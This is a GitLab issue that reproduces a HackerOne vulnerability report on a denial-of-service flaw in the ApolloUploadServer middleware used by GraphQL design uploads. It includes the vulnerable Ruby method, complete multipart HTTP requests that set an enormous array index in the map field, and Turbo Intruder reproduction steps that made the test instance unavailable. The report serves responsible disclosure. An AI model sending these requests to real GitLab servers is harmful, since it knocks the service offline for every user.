Skip to content

Abusing ApolloUploadServer middleware leads to denial of service

HackerOne report #1181284 by 0xn3va on 2021-04-30, assigned to @rchan-gitlab:

Report | Attachments | How To Reproduce

Report

Summary

Gitlab uses ApolloUploadServer middleware to directly upload images via graphql in the design management functionality. When a user sends a request like the following:

POST /api/graphql HTTP/1.1  
Host: 0xn3va.gitlab.local  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryelAQ2cJthWWBkd4o

------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="operations"

{"operationName":"uploadDesign","variables":{"files":[],"projectPath":"0xn3va/ios-tmpl","iid":"21"},"query":"..."}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="map"

{"1":["variables.files.0"]}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="1"; filename="image.png"  
Content-Type: image/png  
...  

the middleware intercepts the request, uploads images into a temp folder, and updates the array for the files key in the operations variable using the map. The map contains the following values (in our example it is {"1":["variables.files.0"]}):

  • 1 is the name of a variable with the image in the request
  • variables.files is a "path" to an array inside the operations, where the middleware should add an object of temporary file
  • 0 is a key, which the middleware uses to insert the object

You can see how ApolloUploadServer updates the graphql query in the ApolloUploadServer::GraphQLDataBuilder.assign_file method:

def assign_file(field, splited_path, file)  
  wrapped_file = Wrappers::UploadedFile.new(file)

  if field.is_a? Hash  
    field.merge!(splited_path.last => wrapped_file)  
  elsif field.is_a? Array  
    field[splited_path.last.to_i] = wrapped_file  
  end  
end  

Here splited_path.last is the key (index) that the user can set in the map variable (in our example it is 0). And field is the array where the middleware will store the temp file object.

In other words, you can set an index in the array, where the middleware should insert the object. If you send a request with index N greater than 0:

POST /api/graphql HTTP/1.1  
Host: 0xn3va.gitlab.local  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryelAQ2cJthWWBkd4o

------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="operations"

{"operationName":"uploadDesign","variables":{"files":[],"projectPath":"0xn3va/ios-tmpl","iid":"21"},"query":"..."}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="map"

{"1":["variables.files.10"]}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="1"; filename="image.png"  
Content-Type: image/png  
...  

Gitlab will respond with an error, where it will write the same error message for the N - 1 variable since they are null:

HTTP/1.1 200 OK  
Server: nginx  
Content-Length: 2550

{"errors":[{"message":"Variable $files of type [Upload!]! was provided invalid value for 0 (Expected value to not be null), 1 (Expected value to not be null), 2 (Expected value to not be null), 3 (Expected value to not be null), 4 (Expected value to not be null), 5 (Expected value to not be null), 6 (Expected value to not be null), 7 (Expected value to not be null), 8 (Expected value to not be null), 9 (Expected value to not be null), 10 (Expected value to not be null), 11 (Expected value to not be null), 12 (Expected value to not be null), 13 (Expected value to not be null), 14 (Expected value to not be null), 15 (Expected value to not be null), 16 (Expected value to not be null), 17 (Expected value to not be null), 18 (Expected value to not be null), 19 (Expected value to not be null), 20 (Expected value to not be null), 21 (Expected value to not be null)","locations":[{"line":1,"column":23}],"extensions":{"value":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,{"size":38344,"content_type":"application/octet-stream","original_filename":"file123.png","sha256":"bf6d7ed0d79ada812ec750c80f7556430a39cdcee0cf6b05db3dda72777cdee2","remote_id":""}],"problems":[{"path":[0],"explanation":"Expected value to not be null"},{"path":[1],"explanation":"Expected value to not be null"},{"path":[2],"explanation":"Expected value to not be null"},{"path":[3],"explanation":"Expected value to not be null"},{"path":[4],"explanation":"Expected value to not be null"},{"path":[5],"explanation":"Expected value to not be null"},{"path":[6],"explanation":"Expected value to not be null"},{"path":[7],"explanation":"Expected value to not be null"},{"path":[8],"explanation":"Expected value to not be null"},{"path":[9],"explanation":"Expected value to not be null"},{"path":[10],"explanation":"Expected value to not be null"},{"path":[11],"explanation":"Expected value to not be null"},{"path":[12],"explanation":"Expected value to not be null"},{"path":[13],"explanation":"Expected value to not be null"},{"path":[14],"explanation":"Expected value to not be null"},{"path":[15],"explanation":"Expected value to not be null"},{"path":[16],"explanation":"Expected value to not be null"},{"path":[17],"explanation":"Expected value to not be null"},{"path":[18],"explanation":"Expected value to not be null"},{"path":[19],"explanation":"Expected value to not be null"},{"path":[20],"explanation":"Expected value to not be null"},{"path":[21],"explanation":"Expected value to not be null"}]}}]}  

As a result, you can send in multiple threads the requests with large N and load the application significantly, because Gitlab will try to return you huge responses.

Steps to reproduce
  1. Create a repository

  2. Go to the Issues page and create a new issue

  3. Click the area with Drop or upload designs to attach text

  4. Choose any file and intercept the request, you should see something like this:

    POST /api/graphql HTTP/1.1  
    Host: 0xn3va.gitlab.local  
    Content-Length: 40889  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryelAQ2cJthWWBkd4o  
    Cookie: _gitlab_session=<SESSION-TOKEN>  
    Connection: close
    
    ------WebKitFormBoundaryelAQ2cJthWWBkd4o  
    Content-Disposition: form-data; name="operations"
    
    {"operationName":"uploadDesign","variables":{"files":[],"projectPath":"<PROJECT-PATH>","iid":"<ISSUE-IID>"},"query":"..."}  
    ------WebKitFormBoundaryelAQ2cJthWWBkd4o  
    Content-Disposition: form-data; name="map"
    
    {"1":["variables.files.0"]}  
    ------WebKitFormBoundaryelAQ2cJthWWBkd4o  
    Content-Disposition: form-data; name="1"; filename="file.png"  
    Content-Type: image/png
    
    ...  
    ------WebKitFormBoundaryelAQ2cJthWWBkd4o--  
  5. Send the request to Turbo Intruder

  6. Change the map variable

    {"1":["variables.files.10000000000000"]}  
  7. Click the "Attack" button.

Impact

Denial of service for all users

What is the current bug behavior?

The response size depends on the index value from a request. As a result, Gitlab receives a huge response on a small request.

What is the expected correct behavior?

Gitlab returns a response with length that does not depend on which arguments were passed.

Relevant logs and/or screenshots

CPU load in normal mode:

Screenshot_2021-04-30_at_18.47.35.png

CPU load with the following request in Turbo Intruder:

POST /api/graphql HTTP/1.1  
Host: 0xn3va.gitlab.local  
Content-Length: 40889  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryelAQ2cJthWWBkd4o  
Cookie: _gitlab_session=<SESSION-TOKEN>  
Connection: close

------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="operations"

{"operationName":"uploadDesign","variables":{"files":[],"projectPath":"<PROJECT-PATH>","iid":"<ISSUE-IID>"},"query":"..."}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="map"

{"1":["variables.files.1000000000"]}  
------WebKitFormBoundaryelAQ2cJthWWBkd4o  
Content-Disposition: form-data; name="1"; filename="file.png"  
Content-Type: image/png  
...  
------WebKitFormBoundaryelAQ2cJthWWBkd4o--  

Screenshot_2021-04-30_at_18.53.16.png

Gitlab is not available:

Screenshot_2021-04-30_at_18.53.03.png

Output of checks
Results of GitLab environment info
$ gitlab-rake gitlab:env:info

System information  
System:  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.2p137  
Gem Version:	3.1.4  
Bundler Version:2.1.4  
Rake Version:	13.0.3  
Redis Version:	6.0.10  
Git Version:	2.29.0  
Sidekiq Version:5.2.9  
Go Version:	unknown

GitLab information  
Version:	13.10.3-ee  
Revision:	db2e358dba4  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	12.6  
URL:		http://0xn3va.gitlab.local  
HTTP Clone URL:	http://0xn3va.gitlab.local/some-group/some-project.git  
SSH Clone URL:	git@0xn3va.gitlab.local:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: gitlab

GitLab Shell  
Version:	13.17.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

Denial of service for all users

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: